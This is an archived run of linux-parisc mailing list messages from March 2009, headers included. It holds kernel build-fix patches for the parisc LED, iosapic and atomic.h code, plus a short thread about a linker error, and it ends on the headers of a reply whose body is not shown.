 drivers/parisc/led.c |    3 ---
 1 files changed, 0 insertions(+), 3 deletions(-)

diff --git a/drivers/parisc/led.c b/drivers/parisc/led.c
index 454b653..67bdf20 100644
--- a/drivers/parisc/led.c
+++ b/drivers/parisc/led.c
@@ -243,13 +243,11 @@ static int __init led_create_procfs(void)
 
 	proc_pdc_root = proc_mkdir("pdc", 0);
 	if (!proc_pdc_root) return -1;
-	proc_pdc_root->owner = THIS_MODULE;
 	ent = create_proc_entry("led", S_IFREG|S_IRUGO|S_IWUSR, proc_pdc_root);
 	if (!ent) return -1;
 	ent->data = (void *)LED_NOLCD; /* LED */
 	ent->read_proc = led_proc_read;
 	ent->write_proc = led_proc_write;
-	ent->owner = THIS_MODULE;
 
 	if (led_type == LED_HASLCD)
 	{
@@ -258,7 +256,6 @@ static int __init led_create_procfs(void)
 		ent->data = (void *)LED_HASLCD; /* LCD */
 		ent->read_proc = led_proc_read;
 		ent->write_proc = led_proc_write;
-		ent->owner = THIS_MODULE;
 	}
 
 	return 0;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc
Subject: [PATCH next 2/2] PARISC: iosapic: fix build breakage
Date: Fri, 20 Mar 2009 13:00:11 +0300
Lines: 24
Approved: news@gmane.org
Message-ID: <20090320100011.GB26020@orion>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1237543229 26140 80.91.229.12 (20 Mar 2009 10:00:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Mar 2009 10:00:29 +0000 (UTC)
To: kyle@mcmartin.ca, linux-parisc@vger.kernel.org,
	linux-next@vger.kernel.org
Original-X-From: linux-next-owner@vger.kernel.org Fri Mar 20 11:01:45 2009
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LkbXt-0007U3-Dd
	for glkn-linux-next@gmane.org; Fri, 20 Mar 2009 11:01:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751080AbZCTKAU (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Fri, 20 Mar 2009 06:00:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752541AbZCTKAU
	(ORCPT <rfc822;linux-next-outgoing>);
	Fri, 20 Mar 2009 06:00:20 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:54078 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751080AbZCTKAS (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Fri, 20 Mar 2009 06:00:18 -0400
Original-Received: by ewy9 with SMTP id 9so673926ewy.37
        for <multiple recipients>; Fri, 20 Mar 2009 03:00:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:date:from:to:subject
         :message-id:mime-version:content-type:content-disposition:user-agent;
        bh=N9PTQf+dB1RVeAHlQwJhArk1vEa8syH805N3jJ0wT/E=;
        b=weY2WeDrdM0PrdajkXCDKLUXonhNPKMSk+HtgmsZrFI8beRlQOmPAWZPd+tBop45Fg
         VEYwiHBh8iy/yy4yKbC1M5BRMQsMXzQPiQvPPmKVokZBLuM8k9QKDPKznUAlfaOY3a74
         QiDoaaoL/KjLUhDOxKHXJPP8UUUv/jn88dWLE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:subject:message-id:mime-version:content-type
         :content-disposition:user-agent;
        b=p1qvmXdLdjiEXW8Zc4HCv5GKiEooZfZxdKVwUcdvvtsQQ651gunE6S3NKsTmvVFwUa
         /ix9tTsUn1+t13Qrh4PXw1ud8Pht9SdCakqc7CuAW+/c3xhg/Yiymys98CmDgGzez8CO
         XEtmBhJ/bGwxuRRqTaFU3z7s8zlgjevGvy+P0=
Original-Received: by 10.216.37.1 with SMTP id x1mr1639884wea.226.1237543215237;
        Fri, 20 Mar 2009 03:00:15 -0700 (PDT)
Original-Received: from orion (ppp83-237-115-123.pppoe.mtu-net.ru [83.237.115.123])
        by mx.google.com with ESMTPS id u14sm2749429gvf.19.2009.03.20.03.00.13
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 20 Mar 2009 03:00:14 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:6476 gmane.linux.ports.parisc:1411
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1411>

drivers/parisc/iosapic.c:717: error: incompatible types in assignment

irq_desc::affinity was changed from cpumask_t to cpumask_var_t in
7f7ace0cda (cpumask: update irq_desc to use cpumask_var_t)

Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
---

 drivers/parisc/iosapic.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index 501aaf1..73348c4 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -714,7 +714,7 @@ static void iosapic_set_affinity_irq(unsigned int irq,
 	if (dest_cpu < 0)
 		return;
 
-	irq_desc[irq].affinity = cpumask_of_cpu(dest_cpu);
+	cpumask_copy(irq_desc[irq].affinity, cpumask_of(dest_cpu));
 	vi->txn_addr = txn_affinity_addr(irq, dest_cpu);
 
 	spin_lock_irqsave(&iosapic_lock, flags);

From - Thu Nov 08 21:03:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Fri, 20 Mar 2009 15:40:18 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20090320214018.GA12273@colo.lackof.org>
References: <a4423d670903030457k20f2e975ya567e9d3b1a5a3ab@mail.gmail.com> <20090303163348.422E34E9A@hiauly1.hia.nrc.ca> <a4423d670903180455u20ead146k919426a1fb7276c6@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1237585252 7893 80.91.229.12 (20 Mar 2009 21:40:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Mar 2009 21:40:52 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 20 22:42:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LkmTg-0008HQ-43
	for glpp-linux-parisc@gmane.org; Fri, 20 Mar 2009 22:42:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751060AbZCTVko (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Mar 2009 17:40:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751880AbZCTVkn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 20 Mar 2009 17:40:43 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:47907 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751060AbZCTVkn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Mar 2009 17:40:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 46B484F80F2;
	Fri, 20 Mar 2009 15:40:40 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15166-01; Fri, 20 Mar 2009 15:40:20 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 89D4D4F80B3; Fri, 20 Mar 2009 15:40:18 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <a4423d670903180455u20ead146k919426a1fb7276c6@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1412
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1412>

On Wed, Mar 18, 2009 at 02:55:13PM +0300, Alexander Beregalov wrote:
> ld: arch/parisc/kernel/built-in.o(.text+0xc84): cannot handle
> R_PARISC_PCREL12F for .text

Alexander,
can you post the .config file used for this build?
It would be the easiest way for someone else to reproduce the problem.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Sat, 21 Mar 2009 04:56:42 +0300
Lines: 17
Approved: news@gmane.org
Message-ID: <a4423d670903201856l1a15b9c3vb51b7b3c8d3caa4b@mail.gmail.com>
References: <a4423d670903030457k20f2e975ya567e9d3b1a5a3ab@mail.gmail.com>
	 <20090303163348.422E34E9A@hiauly1.hia.nrc.ca>
	 <a4423d670903180455u20ead146k919426a1fb7276c6@mail.gmail.com>
	 <20090320214018.GA12273@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1237600615 11066 80.91.229.12 (21 Mar 2009 01:56:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Mar 2009 01:56:55 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 21 02:58:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LkqTT-0001b5-03
	for glpp-linux-parisc@gmane.org; Sat, 21 Mar 2009 02:58:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751761AbZCUB4q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Mar 2009 21:56:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752068AbZCUB4p
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 20 Mar 2009 21:56:45 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:34837 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751761AbZCUB4p (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Mar 2009 21:56:45 -0400
Original-Received: by ewy9 with SMTP id 9so919051ewy.37
        for <linux-parisc@vger.kernel.org>; Fri, 20 Mar 2009 18:56:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=3HxvU8ZNZa/s4LC+wP9mzhqrpcPa5kFoCViJlgTR9Fk=;
        b=uSN0mObdt1PKXiKFttHZ48UAHp9bOAyaFuF5EMntXLnGE0rR0AnenV7PvNPZjkJxG/
         MARSQC4NL9JyD2+AuGMvJegJunw7dYj+BuEo7veJJdY81nkBt9+qj9lUhSp4odk2jv51
         vmbLpb6nLOOkk1hBG4our3no72nr0LUC/0j/s=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=WSnUQBbQaGhquDc6Zl281wdd9wXZU7DSE9GiQQXx1tAYgi4dlaZAqNyc1AEeQvgeWx
         oQf5dCn5x6Nlg3V2SzGq9yv48i9nSIf8QP+KJvVhwnLzqbdXiRddp1frSHxkg1x3RFRA
         1gyH3ukg81Bw0l9WmnZwL2zWseeLM9yb+ujGw=
Original-Received: by 10.210.76.4 with SMTP id y4mr3332350eba.12.1237600602467; Fri, 20 
	Mar 2009 18:56:42 -0700 (PDT)
In-Reply-To: <20090320214018.GA12273@colo.lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1413
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1413>

2009/3/21 Grant Grundler <grundler@parisc-linux.org>:
> On Wed, Mar 18, 2009 at 02:55:13PM +0300, Alexander Beregalov wrote:
>> ld: arch/parisc/kernel/built-in.o(.text+0xc84): cannot handle
>> R_PARISC_PCREL12F for .text
>
> Alexander,
> can you post the .config file used for this build?
> It would be the easiest way for someone else to reproduce the problem.

Hi

It is in the first mail.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: [PATCH] Phonet:fix build problem
Date: Sun, 22 Mar 2009 03:19:25 +0300
Lines: 20
Approved: news@gmane.org
Message-ID: <a4423d670903211719m76baeab0k51f054058d6f5134@mail.gmail.com>
References: <20090320115838.GA26371@orion>
	 <20090321.165950.248659848.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1237681185 30981 80.91.229.12 (22 Mar 2009 00:19:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Mar 2009 00:19:45 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-kernel@vger.kernel.org,
	kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 22 01:21:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LlBQy-0003zl-Hq
	for glpp-linux-parisc@gmane.org; Sun, 22 Mar 2009 01:21:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753945AbZCVATa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Mar 2009 20:19:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753993AbZCVATa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 21 Mar 2009 20:19:30 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:42694 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753945AbZCVAT3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Mar 2009 20:19:29 -0400
Original-Received: by ewy9 with SMTP id 9so1150285ewy.37
        for <multiple recipients>; Sat, 21 Mar 2009 17:19:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=O94VlV5qjJEBG4cq0e05etUbZOGFXQiaj8HU64o2+kA=;
        b=N/iRyuwMYj1Sqj/xWanVVvTwdZPfcVIz0lG7LsHoi5bOJO+2gDIealRSucmbYpxAX8
         LJmdu3VKt9LdYuMl6oEQm8ZRTzn1yz9T8avdGk8qH64Ji87EkbgASSulFof2CihgeTse
         0inJcUqo4resiOQXafsl6RBD+KYhzvpQ163dI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=s8LrgbJYzKlFNX5O9AAJNI2g1sGSKNsp5W7B14UObZIoGA3qwoqv9w0n5g1cXGMeVr
         3hHPGY+62Gn/kph1cLmuqJbbD+wt7siVUjdv7obWFHnZl57tAZIqnxjGvY1X5fXO9oIx
         Q9woY1cKKYDWbAN1sOmqq1T3oK6fyIrx0OMww=
Original-Received: by 10.210.13.17 with SMTP id 17mr1031091ebm.15.1237681165721; Sat, 
	21 Mar 2009 17:19:25 -0700 (PDT)
In-Reply-To: <20090321.165950.248659848.davem@davemloft.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1414 gmane.linux.network:123031 gmane.linux.kernel:810482
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1414>

2009/3/22 David Miller <davem@davemloft.net>:
> From: Alexander Beregalov <a.beregalov@gmail.com>
> Date: Fri, 20 Mar 2009 14:58:38 +0300
>
>> net/phonet/pep.c: In function 'pipe_rcv_status':
>> net/phonet/pep.c:262: error: lvalue required as left operand of assignment
>>
>> Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
>
> What platform hits this problem?
>
> I think that platform's atomic_add() implementation should
> be fixed instead.

It is parisc, CC added.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: [PATCH] Phonet:fix build problem
Date: Sun, 22 Mar 2009 03:58:40 +0000
Lines: 81
Approved: news@gmane.org
Message-ID: <1237694320.25297.3.camel@localhost.localdomain>
References: <20090320115838.GA26371@orion>
	 <20090321.165950.248659848.davem@davemloft.net>
	 <a4423d670903211719m76baeab0k51f054058d6f5134@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1237694338 20917 80.91.229.12 (22 Mar 2009 03:58:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Mar 2009 03:58:58 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, netdev@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 22 05:00:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LlEr8-0007QS-DG
	for glpp-linux-parisc@gmane.org; Sun, 22 Mar 2009 05:00:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752842AbZCVD6p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Mar 2009 23:58:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752669AbZCVD6p
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 21 Mar 2009 23:58:45 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:42431 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751434AbZCVD6o (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Mar 2009 23:58:44 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 624F88050;
	Sat, 21 Mar 2009 22:58:41 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 757-6FhiHrzu; Sat, 21 Mar 2009 22:58:40 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id F1B4F7FE0;
	Sat, 21 Mar 2009 22:58:39 -0500 (CDT)
In-Reply-To: <a4423d670903211719m76baeab0k51f054058d6f5134@mail.gmail.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1415 gmane.linux.network:123085 gmane.linux.kernel:810493
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1415>

On Sun, 2009-03-22 at 03:19 +0300, Alexander Beregalov wrote:
> 2009/3/22 David Miller <davem@davemloft.net>:
> > From: Alexander Beregalov <a.beregalov@gmail.com>
> > Date: Fri, 20 Mar 2009 14:58:38 +0300
> >
> >> net/phonet/pep.c: In function 'pipe_rcv_status':
> >> net/phonet/pep.c:262: error: lvalue required as left operand of assignment
> >>
> >> Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
> >
> > What platform hits this problem?
> >
> > I think that platform's atomic_add() implementation should
> > be fixed instead.
> 
> It is parisc, CC added.

Looks like a macro argument screw up in atomic.h

This should fix it (uncompiled, of course).

James

---

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index edbfe25..ada3e53 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -25,7 +25,7 @@
  * Since "a" is usually an address, use one spinlock per cacheline.
  */
 #  define ATOMIC_HASH_SIZE 4
-#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) a)/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
 
 extern raw_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;
 
@@ -222,13 +222,13 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
 
-#define atomic_add(i,v)	((void)(__atomic_add_return( ((int)i),(v))))
-#define atomic_sub(i,v)	((void)(__atomic_add_return(-((int)i),(v))))
+#define atomic_add(i,v)	((void)(__atomic_add_return( ((int)(i)),(v))))
+#define atomic_sub(i,v)	((void)(__atomic_add_return(-((int)(i)),(v))))
 #define atomic_inc(v)	((void)(__atomic_add_return(   1,(v))))
 #define atomic_dec(v)	((void)(__atomic_add_return(  -1,(v))))
 
-#define atomic_add_return(i,v)	(__atomic_add_return( ((int)i),(v)))
-#define atomic_sub_return(i,v)	(__atomic_add_return(-((int)i),(v)))
+#define atomic_add_return(i,v)	(__atomic_add_return( ((int)(i)),(v)))
+#define atomic_sub_return(i,v)	(__atomic_add_return(-((int)(i)),(v)))
 #define atomic_inc_return(v)	(__atomic_add_return(   1,(v)))
 #define atomic_dec_return(v)	(__atomic_add_return(  -1,(v)))
 
@@ -289,13 +289,13 @@ atomic64_read(const atomic64_t *v)
 	return v->counter;
 }
 
-#define atomic64_add(i,v)	((void)(__atomic64_add_return( ((s64)i),(v))))
-#define atomic64_sub(i,v)	((void)(__atomic64_add_return(-((s64)i),(v))))
+#define atomic64_add(i,v)	((void)(__atomic64_add_return( ((s64)(i)),(v))))
+#define atomic64_sub(i,v)	((void)(__atomic64_add_return(-((s64)(i)),(v))))
 #define atomic64_inc(v)		((void)(__atomic64_add_return(   1,(v))))
 #define atomic64_dec(v)		((void)(__atomic64_add_return(  -1,(v))))
 
-#define atomic64_add_return(i,v)	(__atomic64_add_return( ((s64)i),(v)))
-#define atomic64_sub_return(i,v)	(__atomic64_add_return(-((s64)i),(v)))
+#define atomic64_add_return(i,v)	(__atomic64_add_return( ((s64)(i)),(v)))
+#define atomic64_sub_return(i,v)	(__atomic64_add_return(-((s64)(i)),(v)))
 #define atomic64_inc_return(v)		(__atomic64_add_return(   1,(v)))
 #define atomic64_dec_return(v)		(__atomic64_add_return(  -1,(v)))
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: [PATCH] Phonet:fix build problem
Date: Sun, 22 Mar 2009 12:06:29 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20090322160629.GA23227@bombadil.infradead.org>
References: <20090320115838.GA26371@orion> <20090321.165950.248659848.davem@davemloft.net> <a4423d670903211719m76baeab0k51f054058d6f5134@mail.gmail.com> <1237694320.25297.3.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1237738018 14407 80.91.229.12 (22 Mar 2009 16:06:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Mar 2009 16:06:58 +0000 (UTC)
Cc: Alexander Beregalov <a.beregalov@gmail.com>,
	David Miller <davem@davemloft.net>, netdev@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 22 17:08:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LlQDa-0006vG-GX
	for glpp-linux-parisc@gmane.org; Sun, 22 Mar 2009 17:08:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751767AbZCVQGl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Mar 2009 12:06:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751949AbZCVQGl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 22 Mar 2009 12:06:41 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:37636 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751673AbZCVQGk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Mar 2009 12:06:40 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LlQBx-0000os-Rt; Sun, 22 Mar 2009 16:06:30 +0000
Content-Disposition: inline
In-Reply-To: <1237694320.25297.3.camel@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
